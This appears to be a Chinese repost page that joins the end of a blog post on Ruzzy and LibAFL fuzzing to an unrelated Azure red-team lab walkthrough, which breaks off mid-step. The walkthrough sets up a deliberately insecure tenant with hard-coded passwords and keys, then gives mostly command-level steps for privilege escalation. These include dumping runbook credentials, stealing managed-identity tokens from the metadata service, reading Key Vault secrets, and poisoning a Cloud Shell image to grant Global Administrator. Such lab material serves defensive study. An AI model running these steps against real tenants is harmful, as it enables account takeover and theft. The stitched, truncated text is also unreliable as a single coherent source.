 ENV ASAN_SYMBOLIZER_PATH="/usr/bin/llvm-symbolizer-$LLVM_VERSION"+# Use lld for linking. LibAFL's libFuzzer.a contains a .preinit_array section+# that the GNU linker rejects in shared objects. lld handles this correctly.+ENV LD="lld-$LLVM_VERSION"+
 ENV MAKE="make --environment-overrides V=1"
 ENV ASAN_OPTIONS="symbolize=1:allocator_may_return_null=1:
detect_leaks=0:use_sigaltstack=0"
diff --git a/ext/cruzzy/extconf.rb b/ext/cruzzy/extconf.rb
index 6f474e62..260fcae6 100644
--- a/ext/cruzzy/extconf.rb
+++ b/ext/cruzzy/extconf.rb
@@ -19,6 +19,7 @@ LOGGER.level = ENV.key?('RUZZY_DEBUG') ?
Logger::DEBUG : Logger::INFO
 CC = ENV.fetch('CC', 'clang')
 CXX = ENV.fetch('CXX', 'clang++')
 AR = ENV.fetch('AR', 'ar')+LD = ENV.fetch('LD', 'ld')
 FUZZER_NO_MAIN_LIB_ENV = 'FUZZER_NO_MAIN_LIB'
 LOGGER.debug("Ruby CC: #{RbConfig::CONFIG['CC']}")
@@ -66,6 +67,7 @@ def merge_sanitizer_libfuzzer_lib(sanitizer_lib,
fuzzer_no_main_lib, merged_outp
      '-ldl',
      '-lstdc++',
      '-shared',+      "-fuse-ld=#{LD}",
      '-o',
      merged_output
    )
@@ -145,5 +147,6 @@ merge_sanitizer_libfuzzer_lib(
 $LOCAL_LIBS = fuzzer_no_main_lib
 $LIBS << ' -lstdc++'+$DLDFLAGS << " -fuse-ld=#{LD}"
 create_makefile('cruzzy/cruzzy')

图 6: 允许使用用户指定的 ld 二进制

到这里 Docker 构建终于通过了!但是,构建出模糊测试库、Ruby C 扩展和 Docker 镜像还只是第一步。我们还要把模糊测试器跑起来,而那又会带来另一组挑战。

至于前面提到的正经修复,我们已经在这个 pull request 中向上游提出了。等它合并之后,我们就可以用 --cargo-args "--no-default-features --features no_link_main"运行构建脚本,从而摆脱这个 ld的 hack。下面进入运行模糊测试器的环节。

用 LibAFL 进行模糊测试

Ruzzy 自带一个 "dummy" C 扩展,用来测试模糊测试器、确保一切正常工作。我们可以借助它来验证 LibAFL 改造是否生效。在构建好模糊测试器、终于能启动它之后,我遇到了下面这个错误:

$ docker run --rm ruzzy-libafl -runs=100000
thread '<unnamed>' (9) panicked at src/fuzz.rs:275:5:
No maps available; cannot fuzz!
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
fatal runtime error: failed to initiate panic, error 2786066624, aborting
/usr/local/bundle/gems/ruzzy-0.7.0/lib/ruzzy.rb:15: [BUG] Aborted at 0x0000000000000009
ruby 4.0.1 (2026-01-13 revision e04267a14b) +PRISM [aarch64-linux]-- Control frame information -----------------------------------------------
c:0005 p:---- s:0022 e:000021 l:y b:---- CFUNC  :c_fuzz
c:0004 p:0011 s:0016 e:000015 l:y b:0001 METHOD /usr/local/bundle/gems/ruzzy-0.7.0/lib/ruzzy.rb:15
c:0003 p:0008 s:0010 E:001390 l:y b:0001 METHOD /usr/local/bundle/gems/ruzzy-0.7.0/lib/ruzzy.rb:28
c:0002 p:0010 s:0006 e:000005 l:n b:---- EVAL   -e:1 [FINISH]
c:0001 p:0000 s:0003 E:000940 l:y b:---- DUMMY  [FINISH]-- Ruby level backtrace information ----------------------------------------
-e:1:in'<main>'
/usr/local/bundle/gems/ruzzy-0.7.0/lib/ruzzy.rb:28:in'dummy'
/usr/local/bundle/gems/ruzzy-0.7.0/lib/ruzzy.rb:15:in'fuzz'
/usr/local/bundle/gems/ruzzy-0.7.0/lib/ruzzy.rb:15:in'c_fuzz'
...

图 7: 启动模糊测试器时的运行时错误

这里关键的报错是 "No maps available; cannot fuzz!"。当 SanitizerCoverage 状态没有正确初始化时,就会出现这个 LibAFL 错误。要理解 LibAFL 与 libFuzzer 在这里的差异,我们得先弄清楚 SanitizerCoverage 是什么,以及它是如何工作的。

SanitizerCoverage 在模糊测试过程中追踪代码覆盖率信息,以提升模糊测试的效率。诸如 "如果发现新的代码覆盖,就继续变异相关输入,以更深入地探索这些代码路径" 这样简单的启发式,正是模糊测试中强有力的基本手段。其背后的理念是:更高的代码覆盖率意味着更多的崩溃和漏洞 ( 这种说法有些过度简化,不过意思到了 ) 。因此,一个模糊测试引擎需要一种机制来初始化并追踪覆盖率信息。

SanitizerCoverage 提供了多种追踪覆盖率的方式,所有这些方式都需要一种在模糊测试开始时初始化状态的机制。比如,官方文档里就介绍了 pc-guard、8bit-counters、bool-flag和 pc-table等追踪机制,每种机制都有对应的 init函数。这些 init函数最终会被下沉,并以 .init_array条目的形式出现在 ELF 文件中 ( .init_array又一次登场了 ) 。这就意味着,归根结底,覆盖率初始化逻辑是在 DSO 在运行时被加载的时候才被调用的。

回到眼下的错误:为什么 LibAFL 会报 "No maps available; cannot fuzz!",而 LLVM 的 libFuzzer 却能正常启动?关键差别在于:libFuzzer 允许在运行时按需 ( 懒加载 ) 接入新的覆盖率计数器数组,启动时即使没有也不会抱怨;而 LibAFL 则要求在模糊测试器启动时这些数组已经定义好了。对比一下下面两组事件序列:

• LibAFL LLVMFuzzerRunDriver

• 调用 fuzz::fuzz

• 调用 fuzz_with!

• 检查覆盖率计数器是否存在

• libFuzzer LLVMFuzzerRunDriver

• 调用 FuzzerDriver

• 最终调用 Fuzzer::Loop

• 不检查覆盖率计数器是否存在

所以,覆盖率的 init函数会在 DSO 加载时被调用,之后模糊测试引擎是否会检查它们是否存在,要取决于具体实现。要彻底理解这个错误的原因,我们必须回过头来,更细致地了解 Ruzzy 是如何运行它的 "dummy" C 扩展的。Ruzzy 的 Docker 镜像默认通过 entrypoint 来运行 "dummy" 代码:

#!/bin/bash
LD_PRELOAD=$(ruby -e 'require "ruzzy"; print Ruzzy::ASAN_PATH')\
    ruby -e 'require "ruzzy"; Ruzzy.dummy' -- "$@"

图 8: Docker 镜像入口脚本 ( entrypoint.sh )

Ruzzy.dummy对应的代码如下:

deffuzz(test_one_input, args=DEFAULT_ARGS)
  c_fuzz(test_one_input, args)  # STEP 3: Call Ruzzy.c_fuzz (in C extension)
end
defdummy_test_one_input(data)  # STEP 4: Eventually call Ruzzy.dummy_test_one_input# This 'require' depends on LD_PRELOAD, so it's placed inside the function# scope. This allows us to access EXT_PATH for LD_PRELOAD and not have a# circular dependency.
require'dummy/dummy'
  c_dummy_test_one_input(data)
end
defdummy# STEP 1: Call Ruzzy.dummy
  fuzz(->(data) { dummy_test_one_input(data) })  # STEP 2: Call Ruzzy.fuzz
end

图 9: Ruzzy.dummy 的调用链 ( lib/ruzzy.rb )

如果你正想找出 bug,那么 dummy_test_one_input的函数体也许能给一点提示。问题在于 require 'dummy/dummy'调用得太晚了。这条 require语句实际上是在加载已编译好的 Ruby C 扩展共享对象。还记得我们前面讨论的共享对象加载流程吗?这个共享对象包含一个 .init_array函数,负责初始化覆盖率计数器的状态。libFuzzer 对覆盖率计数器状态采取懒加载方式,所以对事件顺序并不敏感;而 LibAFL 则要求在它开始模糊测试之前,这些状态就必须已经初始化好。

Ruzzy.dummy调用 fuzz时传入了一个会调用 dummy_test_one_input的 lambda。但由于 dummy_test_one_input是包在 lambda 里传过去的,只有在模糊测试器启动后才会被调用,所以 LibAFL 在调用 c_fuzz时就报错了 ( c_fuzz内部会调用 LLVMFuzzerRunDriver) 。这与最初 Ruby 错误回溯指向 c_fuzz的现象正好吻合。于是我们最终给出的补丁非常简单:

diff --git a/lib/ruzzy.rb b/lib/ruzzy.rb
index d5e9ae61..be5f8339 100644
--- a/lib/ruzzy.rb
+++ b/lib/ruzzy.rb
@@ -25,6 +25,11 @@ module Ruzzy
  end
  def dummy+    # Load the instrumented shared object before calling fuzz so its coverage+    # maps are registered before LLVMFuzzerRunDriver starts. Some fuzzer+    # runtimes (e.g. LibAFL) require coverage maps to exist upfront.+    require 'dummy/dummy'+
    fuzz(->(data) { dummy_test_one_input(data) })
  end

图 10: Ruzzy.dummy 的初始化补丁

加上 ld与初始化两处补丁后,LibAFL 终于能跑起来了 (!) :

$ docker run --rm ruzzy-libafl -runs=100000
...
(CLIENT) corpus: 3, objectives: 0, executions: 7593, exec/sec: 0.000,
size_edges: 12/21 (57%), edges_stability: 11/11 (100%), edges: 12/21 (57%)
=================================================================
==9==ERROR: AddressSanitizer: heap-use-after-free on address 0xfcbfab6655c0 at pc 0xffffab9c1888 bp 0xffffee4ce430 sp 0xffffee4ce428
READ of size 1 at 0xfcbfab6655c0 thread T0#0 0xffffab9c1884 in _c_dummy_test_one_input /usr/local/bundle/gems/ ruzzy-0.7.0/ext/dummy/dummy.c:18:24
...

图 11: Ruzzy 使用 LibAFL 进行模糊测试

这段 AddressSanitizer 输出表明 LibAFL 启动顺利,并迅速发现了 dummy.c中故意埋下的 bug。dummy C 扩展中的堆 use-after-free 问题确认了整条流水线都在正常工作:插桩、覆盖率追踪、调用追踪和崩溃检测全都按预期生效。

上手 Ruzzy + LibAFL

我们最近发布了 Ruzzy 的 0.8.0 版本,其中包含了 LibAFL 支持。欢迎在你的下一个 Ruby 项目或安全审计中尝试一下。在实现这一改进的过程中,我和 Claude 协作开发,有时候它会一路冲到终点线,把我甩在身后两天才追得上。把功能跑通仍然是最终目标,在它 确实跑通之后再去逆向理解一份补丁要容易得多;不过,深入理解这份补丁本身同样很有价值。在这个过程中,我对 ELF 二进制、模糊测试引擎内部、链接器和编译器都有了不少新的认识。LLM 不仅是把事情做完的好工具,也是帮我们理解周遭世界的好工具。

如果你想读到更多关于模糊测试的内容,欢迎参考以下资源:

• 我们 Testing Handbook 中的模糊测试章节

• 对 Python C 扩展进行持续模糊测试

• 用模糊测试器攻破 Solidity 编译器

一如既往,如果你在下一个 Ruby 项目或模糊测试任务中需要帮助,欢迎联系我们。

---

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

阅读原文

跳转微信打开

演示一条从互联网 OSINT 直至全局管理员的完整 Azure 红队攻击链，并附部署脚本与检测加固建议。

介绍

本文将展示一系列攻击技术：从互联网侧获取 Azure 访问权限、在 Azure 内部进行权限提升、在服务主体、资源和用户之间横向移动，以及实现持久化和漏洞利用。

我们提供了包含 PowerShell 脚本在内的完整部署指南，让您在自己的租户中学习如何滥用不安全的 Microsoft Azure 配置。

此外，我们还包含了检测和改进安全性章节，指导您将易受攻击的租户重新配置为更安全的设计，并检测是否曾对您的租户执行过这些攻击。请随意在您的环境中尝试不同的攻击路径，看看如何通过加固租户来轻松破坏攻击链。

本文将涵盖 3 个不同的章节：

• 部署

• 攻击路径 (概述与分步演示)

• 检测和改进安全性

本文的灵感来源于 NetSPI 公司 Karl Fosaaen 主导的优秀课程Dark Side Ops Courses: Evolving Cybersecurity Excellence、他的出色研究，以及由Karl Fosaaen 与David Okeyode 合著的《Penetration Testing Azure for Ethical Hacker》一书。

部署

显然，我们将从部署阶段开始。如果您希望搭建一个 Azure 租户却不确定从何入手，请跟随本指南，您将很快上手各类云端攻击技术。由于实际攻击和攻击路径尚未详细介绍，某些配置可能暂时让人摸不着头脑。我们将在操作过程中尽量解释每一步的作用。

不涵盖许可证购买和初始 AAD 配置。此实验室运行成本很低，MSDN 订阅包含的任何积分或新的免费 Azure 账户都足够使用。

完整部署脚本请访问：https://github.com/improsec/2Cloudz/

租户信息：

• 名称：impros3c

• 主域名：adsikkerhed.dk

• 子域名：adsikkerhed.vault.azure.net

• 子域名：adsikkerhed.blob.core.windows.net

部署步骤

• 创建 AAD 用户

Connect-AzureAD
$PasswordProfile=New-Object-TypeName Microsoft.Open.AzureAD.Model.PasswordProfile
$PasswordProfile.Password="%cP&KCuC48YEYs3l3t9o!fIJU"
$PasswordProfile.ForceChangePasswordNextLogin=$false
New-AzureADUser-DisplayName "nfp"-PasswordProfile $PasswordProfile`
-UserPrincipalName "nfp@adsikkerhed.dk"-AccountEnabled $true`
-MailNickName "nfp"
New-AzureADUser-DisplayName "AppOwner"-PasswordProfile $PasswordProfile`
-UserPrincipalName "AppOwner@adsikkerhed.dk"-AccountEnabled $true`
-MailNickName "AppOwner"
New-AzureADUser-DisplayName "privadmin"-PasswordProfile $PasswordProfile`
-UserPrincipalName "privadmin@adsikkerhed.dk"-AccountEnabled $true`
-MailNickName "privadmin"
New-AzureADUser-DisplayName "AutomationAdmin"-PasswordProfile $PasswordProfile`
-UserPrincipalName "AutomationAdmin@adsikkerhed.dk"-AccountEnabled $true`
-MailNickName "AutomationAdmin"

• 创建包含用户名和密码的 CSV 文件

[pscustomobject]@{username='nfp@adsikkerhed.dk';password='%cP&KCuC48YEYs3l3t9o!fIJU';} |`
Export-Csv-Path .\test.csv -Append -NoTypeInformation -Delimiter ";"-Encoding UTF8

• 创建资源组 "STORAGE"

• 创建存储账户 "ADSIKKERHED"

• 选择启用 Blob 公共访问和连接方式公共端点 - 所有默认设置

• 禁用安全传输要求

• 创建名为 "files" 的 Blob 容器，公共访问级别设为 "Container"

• 将 test.csv 上传到 "files" blob

• 最终 URL：https://adsikkerhed.blob.core.windows.net/files/test.csv

$resourceGroup="STORAGE"
$location="northeurope"
New-AzResourceGroup-Name $resourceGroup-Location $location
$StorageAccountProv=@{
ResourceGroupName=$resourceGroup
Name='adsikkerhed'
SkuName='Standard_LRS'
Location=$location
EnableHttpsTrafficOnly=$false
}
$StorageAccount=New-AzStorageAccount@StorageAccountProv
$Context=$StorageAccount.Context
$ContainerName='files'
New-AzStorageContainer-Name $ContainerName-Context `
$Context-Permission Container
$TestCSV=@{
File='.\test.csv'
Container=$ContainerName
Blob="test.csv"
Context=$Context
StandardBlobTier='Hot'
}
Set-AzStorageBlobContent@TestCSV

• 创建名为 "AutomationAdmins" 的动态组

• 使其添加显示名称中包含 "automationadmin" 的任何用户

Import-Module AzureADPreview -Force
New-AzureADMSGroup-DisplayName "AutomationAdmins"-Description `
"This dynamic group will add any AAD user with 'automationadmin' in Display Name"`
-MailEnabled $False-MailNickName "AutomationAdmins"-SecurityEnabled $True`
-GroupTypes "DynamicMembership"-MembershipRule `
'(user.displayName -contains "automationadmin")'`
-MembershipRuleProcessingState "On"

• 在订阅 IAM 中将 "AutomationAdmins" 分配为 "Automation Contributor" 角色

$AutomationAdminsID= (Get-AzADGroup-DisplayName AutomationAdmins).id
New-AzRoleAssignment-ObjectId $AutomationAdminsID`
-RoleDefinitionName "Automation Contributor"

• 创建服务主体并在订阅 IAM 中将其分配为 "Virtual Machine Contributor" 角色

az login
az ad sp create-for-rbac --name VMContributor --role "Virtual Machine Contributor"

• 创建名为 "AutomationAccount" 的独立自动化账户

$resourceGroup="AUTOMATION"
$location="northeurope"
New-AzResourceGroup-Name $resourceGroup-Location $location
New-AzAutomationAccount-Name "AutomationAccount"-Location $location-ResourceGroupName $resourceGroup

• 将 PowerShell 脚本导入为自动化 Runbook

$params=@{
AutomationAccountName='AutomationAccount'
Name='RunBookPowerShell'
ResourceGroupName='AUTOMATION'
Type='PowerShell'
Path='.\VMContribScript.ps1'
}
Import-AzAutomationRunbook@params

• 创建具有用户分配托管标识的虚拟机

$rgName='VMRG'
$location='northeurope'
New-AzResourceGroup-Name $rgName-Location $location
$ip=@{
Name='AZVMPUBLICIP'
ResourceGroupName=$rgName
Location=$location
Sku='Standard'
AllocationMethod='Static'
IpAddressVersion='IPv4'
Zone=1,2,3
}
New-AzPublicIpAddress@ip
# 创建虚拟机
$vmName='AZHACK'
$userName='rootnation'
$plainTextPassword='6#d_PL)tC@%2D[N'
$securePassword=$plainTextPassword|ConvertTo-SecureString-AsPlainText -Force
$credential= [pscredential]::new($userName,$securePassword)
$vm=New-AzVM-ResourceGroupName $rgName-Name $vmName`
-Location $location-Credential $credential-PublicIpAddressName 'AZVMPUBLICIP'
# 允许所有入站流量到虚拟机
Get-AzNetworkSecurityGroup-Name $vmName-ResourceGroupName $rgName`
|Add-AzNetworkSecurityRuleConfig-Name "ALL"-Description "Allow all ports"`
-Access "Allow"-Protocol "Tcp"-Direction "Inbound"-Priority 100`
-SourceAddressPrefix "*"-SourcePortRange "*"-DestinationAddressPrefix "*"`
-DestinationPortRange "*"|Set-AzNetworkSecurityGroup
Install-Module-Name Az.ManagedServiceIdentity -Scope CurrentUser
$identityName='AZHACKManagedIdentity'
$identity=New-AzUserAssignedIdentity-Name $identityName`
-ResourceGroupName $rgName-Location $location
Update-AzVM-ResourceGroupName $rgName-VM $vm`
-IdentityType UserAssigned -IdentityID $identity.Id

• 创建名为 "ADSIKKERHED" 的密钥保管库，并为托管标识主体分配列出和获取机密的访问权限

$keyVaultName='ADSIKKERHED'
$keyVault=New-AzKeyVault-ResourceGroupName $rgName`
-Name $keyVaultName-Location $location
$secretValue=ConvertTo-SecureString-String $PasswordProfile.Password-AsPlainText -Force
Set-AzKeyVaultSecret-VaultName $keyVaultName`
-Name AppOwner -SecretValue $secretValue
New-AzRoleAssignment-RoleDefinitionName Reader `
-Scope $keyVault.ResourceId-ObjectId $identity.PrincipalId
Set-AzKeyVaultAccessPolicy-ResourceGroupName $rgName-VaultName $keyVaultName`
-ServicePrincipalName $identity.ClientId-PermissionsToSecrets get,list

• 从 Azure AD 中的 "应用注册" 创建新应用程序并命名为 "HackingApp"

• 在管理组上将服务主体 (HackingApp) 分配为存储账户参与者 (必须通过 GUI 执行)

• 使 "AppOwner" 成为 hacking 应用程序的所有者

$ObjectID=Get-AzureADApplication-Filter "DisplayName eq 'HackingApp'"`
|Select-Object ObjectID
$RefObjectId=Get-AzureADUser-Filter `
"userPrincipalName eq 'AppOwner@adsikkerhed.dk'"|Select-Object ObjectID
Add-AzureADApplicationOwner-ObjectId $ObjectID.ObjectId-RefObjectId $RefObjectId.ObjectId
$ObjectID=Get-AzureADServicePrincipal-SearchString HackingApp |Select-Object ObjectID
Add-AzureADServicePrincipalOwner-ObjectId $ObjectID.ObjectId-RefObjectId $RefObjectId.ObjectId

• 授予 "privadmin" 用户 "Privileged Role Administrator" 角色

$user=Get-AzureADUser-Filter "userPrincipalName eq 'privadmin@adsikkerhed.dk'"
$roleDefinition=Get-AzureADMSRoleDefinition-Filter "displayName eq 'Privileged Role Administrator'"
$roleAssignment=New-AzureADMSRoleAssignment-DirectoryScopeId '/'`
-RoleDefinitionId $roleDefinition.Id-PrincipalId $user.objectId

• 为 "privadmin" 用户授予新资源组的访问权限，以便可以创建云 Shell

$resourceGroup="CLOUDSHELL"
$location="northeurope"
New-AzResourceGroup-Name $resourceGroup-Location $location
New-AzRoleAssignment-ObjectId $user.ObjectId`
-RoleDefinitionName "Contributor"`
-ResourceGroupName $resourceGroup
New-AzRoleAssignment-ObjectId $user.ObjectId`
-RoleDefinitionName "Reader"`
-ResourceGroupName $resourceGroup

• 以 privadmin 用户身份登录并设置云 Shell

攻击路径

以下部分是攻击路径的概览描述。

未认证状态

• 使用 MicroBurst 枚举子域名

• 使用 MicroBurst 枚举 blob 以获取公共存储

• 从公共存储容器读取包含凭据 (常规 Azure AD 用户) 的 Excel 表

• 使用 MFASweep 进行 MFA 扫描，确保没有 MFA 或 CA 策略阻止

• 使用 PowerShell Az 连接到 Azure (使用容器中的用户 (nfp))

已认证状态 (Reader)

• 查找具有动态成员资格的组，该组在订阅上被分配为 "Automation Contributor"。动态组搜索显示名称中的 "automationadmin"

• 创建名称中包含 "automationadmin" 的电子邮件身份，例如 "nichlas.automationadmin@protonmail.com"

• 邀请访客用户到受害者租户并接受邀请

• 使用访客用户连接到受害者租户，并使用 MicroBurst 转储自动化账户 runbooks

• 从转储的 runbook 中，收集服务主体 (VMContributor) 的凭据，该服务主体是订阅上的 "虚拟机参与者"

• 使用 SP 连接到 Azure

已认证状态 (订阅上的虚拟机参与者)

• 在虚拟机上调用 PowerShell 以发现它配置了托管标识 (AZHACKManagedIdentity)

• 为 management.azure.com 和 vault.azure.net 转储访问令牌

• 模拟托管标识并从密钥保管库读取机密

• 机密包含另一个用户 (AppOwner) 的凭据

• 使用 PowerShell Az 连接到 Azure，发现用户是应用程序的所有者，其 SP 是管理组上的 "存储账户参与者"，管理组包括订阅及其所有继承的资源

• 为 SP 添加新机密，并使用 PowerShell Az 作为 SP 进行身份验证

已认证状态 (管理组上的存储账户参与者)

• 发现一个存储账户，其中包含来自云 Shell 配置文件的镜像文件

• 发现云 Shell 镜像文件由被分配 Azure AD 角色 "Privileged Role Administrator" 的用户拥有

• 下载镜像文件，挂载它，植入恶意载荷后再次上传

• 使用 AADInternals 对目标进行内部钓鱼，并链接到 https://shell.azure.com/

• 当目标打开钓鱼链接时，我们的访客用户将被分配 Azure AD 租户中的 "Global Administrator" 角色

已认证状态 (Azure AD 租户中的全局管理员)

• 使用门户对目标 Azure 租户进行身份验证，并将自己提升为租户根管理组上的 "User Access Administrator"

已认证状态 (用户访问管理员)

• 您现在完全拥有 Azure AD 租户和所有 Azure 资源的所有权

攻击详细步骤

以下章节详细描述攻击路径及其执行方式。

未认证状态 (匿名)

在这种特定情况下，我们假设已知目标公司的特定子域名。在真实场景的红队评估中，这显然要通过基本 OSINT 完成。掌握了子域名信息后，我们以 "adsikkerhed" 作为基础枚举 Azure 子域名。这一基础在不同公司及其名称之间会有所不同。

1. 使用 Microburst 枚举子域名

使用的工具：Microburst、PowerShell

Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureSubDomains-Base adsikkerhed

至此我们意识到该公司有一个名为 "adsikkerhed" 的存储账户，于是我们对该存储账户发起有针对性的暴力枚举攻击，借此找出任何具有公共访问权限的 blob 和容器。然后我们获取公开可用的 csv 文件并读取其内容。

2. 使用 MicroBurst 枚举存储账户 blob 以获取公开可访问的数据

使用的工具：Microburst、PowerShell

Invoke-EnumerateAzureBlobs-Base adsikkerhed
Invoke-WebRequest"https://adsikkerhed.blob.core.windows.net/files/test.csv"-OutFile .\output\test.csv
Get-Content .\output\test.csv

3. 枚举可能阻止被泄露凭据登录尝试的潜在 MFA 要求或条件访问策略

使用的工具：MFASweep、PowerShell、Az Module

Import-Module .\MFASweep\MFASweep.ps1
Invoke-MFASweep-Username "nfp@adsikkerhed.dk"-Password "%cP&KCuC48YEYs3l3t9o!fIJU"
Install-Module-Name Az -Scope CurrentUser -Repository PSGallery -Force
Import-Module Az
$Credentials=Get-Credential
Connect-AzAccount-Credential $Credentials

已认证状态 (Reader)

4. 枚举云组并搜索具有动态成员资格的特定组

使用的工具：PowerShell、AzureAD Module、Azure Portal、Az CLI、MicroBurst

Install-Module-Name AzureADPreview -Scope CurrentUser -Repository PSGallery -Force
Connect-AzureAD
Get-AzureADMSGroup|?{$_.GroupTypes-eq'DynamicMembership'}

# 获取 AutomationAdmins 组的 Id 并搜索潜在的资源权限委派
az role assignment list --assignee 4ec58299-dcc1-4df3-84f6-bb63fd2f0f37 --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'

5. 利用动态成员资格规则并邀请您自己的访客用户

1. 保持在门户中，导航到 Azure AD > 用户 > 新建访客用户

2. 邀请用户并填写必要信息。此用户由攻击者从另一个域拥有，确保符合动态成员资格规则以成功加入组

3. 满意后点击 "邀请"

4. 导航到您的攻击者拥有的用户邮箱并接受邀请

5. 当邀请已被接受且动态成员资格规则已更新时，您会发现自己成为 AutomationAdmins 组的成员

6. 转储自动化账户 runbooks

# 使用新邀请的访客用户，利用 "Automation Contributor" RBAC 角色并使用 MicroBurst 从自动化账户转储 runbooks
Connect-AzAccount<guest user>
Import-Module .\MicroBurst\MicroBurst.psm1
New-Item-Path .-Name adsikkerhed-output -Type Directory
Get-AzDomainInfo-folder .\adsikkerhed-output\ -Users Y -Groups N -StorageAccounts N -VMs N -NetworkInfo N -RBAC N
Get-Content .\adsikkerhed-output\Az\ADSIKKERHED\Resources\AutomationAccounts\AutomationAccount\RunBookPowerShell.ps1

7. 作为服务主体进行身份验证

Get-AzADServicePrincipal-DisplayName VMContributor
$AppID='a30bc8bd-602a-49b2-9708-45a3792a629a'
$Secret='TDX3P4SKvg6WHKk4a_Ltko2w~dy.xKytdg'
$TenantID='2230b2b1-298b-4b13-9de5-852b1d16f118'
$SecureStringPWD=ConvertTo-SecureString$Secret-AsPlainText -Force
[PSCredential]$Credentials=New-Object System.Management.Automation.PSCredential ($AppID,$SecureStringPWD)
Connect-AzAccount-Credential $Credentials-ServicePrincipal -Tenant $TenantID

az login --service-principal -u a30bc8bd-602a-49b2-9708-45a3792a629a -p "TDX3P4SKvg6WHKk4a_Ltko2w~dy.xKytdg" -t 2230b2b1-298b-4b13-9de5-852b1d16f118

已认证状态 (订阅上的虚拟机参与者)

使用的工具：PowerShell、AzureAD Module、MicroBurst

8. 搜索虚拟机

$VMs=Get-AzVM-Status |Where-Object {($_.PowerState-EQ"VM running") -and ($_.StorageProfile.OSDisk.OSType-eq"Windows")}

9. 创建名为 "jobs.ps1" 的脚本并保存以下代码

(Invoke-WebRequest-Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'-Method GET -Headers @{Metadata="true"} -UseBasicParsing).Content
(Invoke-WebRequest-Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'-Method GET -Headers @{Metadata="true"} -UseBasicParsing).Content

10. 通过 RunCommand 功能执行脚本，以发现虚拟机是否附加并配置了托管标识

$VMs|Invoke-AzVMRunCommand-CommandId 'RunPowershellScript'-ScriptPath .\jobs.ps1

11. 将令牌保存为变量

$mgmtToken="eyJ0eXAiOiJKV1Qi<snip>UzJQ6BJIQQ0n2KC1BtyF2bq1FeJui9GFVg"
$vaultToken="eyJ0eXAi<snip>OiJKV1QiLCJgY_yUItxfXZqSM_05p1n03Q"

12. 使用 MicroBurst 转储密钥保管库机密

cd .\MicroBurst\REST
Import-Module .\MicroBurst-AzureREST.psm1
Get-AzKeyVaultSecretsREST-managementToken $mgmtToken-vaultToken $vaultToken-Verbose -SubscriptionId (Get-AzContext).Subscription.Id

13. 作为被泄露的用户 "AppOwner" 进行身份验证

# User = AppOwner@adsikkerhed.dk
# Password = oRSTyQnaSa62%ldxlVo3Wx&2t!
$Credentials=Get-Credential
Connect-AzureAD-Credential $Credentials

14. 枚举 (AzureHound) 并发现应用注册及其服务主体的所有权

wget https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/AzureHound.ps1 -OutFile AzureHound.ps1 -UseBasicParsing
Import-Module .\AzureHound.ps1
$path= (Get-Location).Path+"\output"
Invoke-AzureHound-OutputDirectory $path

15. 为拥有的服务主体添加机密

$ServicePrincipal=Get-AzureADServicePrincipal-Filter "DisplayName eq 'HackingApp'"
New-AzureADServicePrincipalPasswordCredential-ObjectId $ServicePrincipal.ObjectId-EndDate "01-01-2030 12:00:00"-StartDate "06-07-2021 12:00:00"-Value SuperDuperPassword

16. 作为服务主体进行身份验证

$AppID=$ServicePrincipal.AppId
$Secret='SuperDuperPassword'
$TenantID='2230b2b1-298b-4b13-9de5-852b1d16f118'
$SecureStringPWD=ConvertTo-SecureString$Secret-AsPlainText -Force
[PSCredential]$Credentials=New-Object System.Management.Automation.PSCredential ($AppID,$SecureStringPWD)
Connect-AzAccount-Credential $Credentials-ServicePrincipal -Tenant $TenantID
# AppId: 4253003a-bd22-4b6c-a536-cc532d74483b
# Secret: SuperDuperPassword
# Tenant: 2230b2b1-298b-4b13-9de5-852b1d16f118

az login -u 4253003a-bd22-4b6c-a536-cc532d74483b -p SuperDuperPassword -t 2230b2b1-298b-4b13-9de5-852b1d16f118 --allow-no-subscriptions --service-principal

已认证状态 (管理组上的存储账户参与者)

使用的工具：WSL (Ubuntu)、Az CLI、AADInternals

17. 枚举 RBAC 权限

az role assignment list --assignee 4253003a-bd22-4b6c-a536-cc532d74483b --include-inherited --all --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'

18. 枚举密钥、存储账户、共享和文件

az storage account list --query '[].{Name:name}'
az storage share list --account-name cloudshellprivadmin
az storage file list --share-name cspa --account-name cloudshellprivadmin
az storage account keys list -n cloudshellprivadmin

19. 下载镜像文件，挂载它，投毒，然后重新上传到存储账户

az storage file download-batch -d C:\Users\Azure\output -s cspa --account-name cloudshellprivadmin --account-key "FzfTMIy/dLhhlKo3lgQ91iF8mFgQ2eiXc2ECmeEvI3YjQCaf7QoE107r80awbsOAt/Y822+MdASDjZ1Ps+FBwQ=="
ubuntu.exe
cd /mnt/c/Users/Azure/output/.cloudconsole
sudo mkdir /cloudpoison
sudo mount acc_privadmin.img /cloudpoison
cd /cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
echo"Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A">> .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo umount /cloudpoison
exit
az storage file upload --account-key "FzfTMIy/dLhhlKo3lgQ91iF8mFgQ2eiXc2ECmeEvI3YjQCaf7QoE107r80awbsOAt/Y822+MdASDjZ1Ps+FBwQ==" --account-name cloudshellprivadmin --share-name cspa --path ".cloudconsole/acc_privadmin.img" --source ".\output\.cloudconsole\acc_privadmin.img"

20. 通过内部钓鱼欺骗 privadmin 用户打开云 Shell

使用 bitly 或其他工具缩短 https://shell.azure.com/ URL。

Install-Module AADInternals
Import-Module AADInternals
$Credentials=Get-Credential
# 获取 Teams 的访问令牌
Get-AADIntAccessTokenForTeams-Credentials $Credentials-SaveToCache
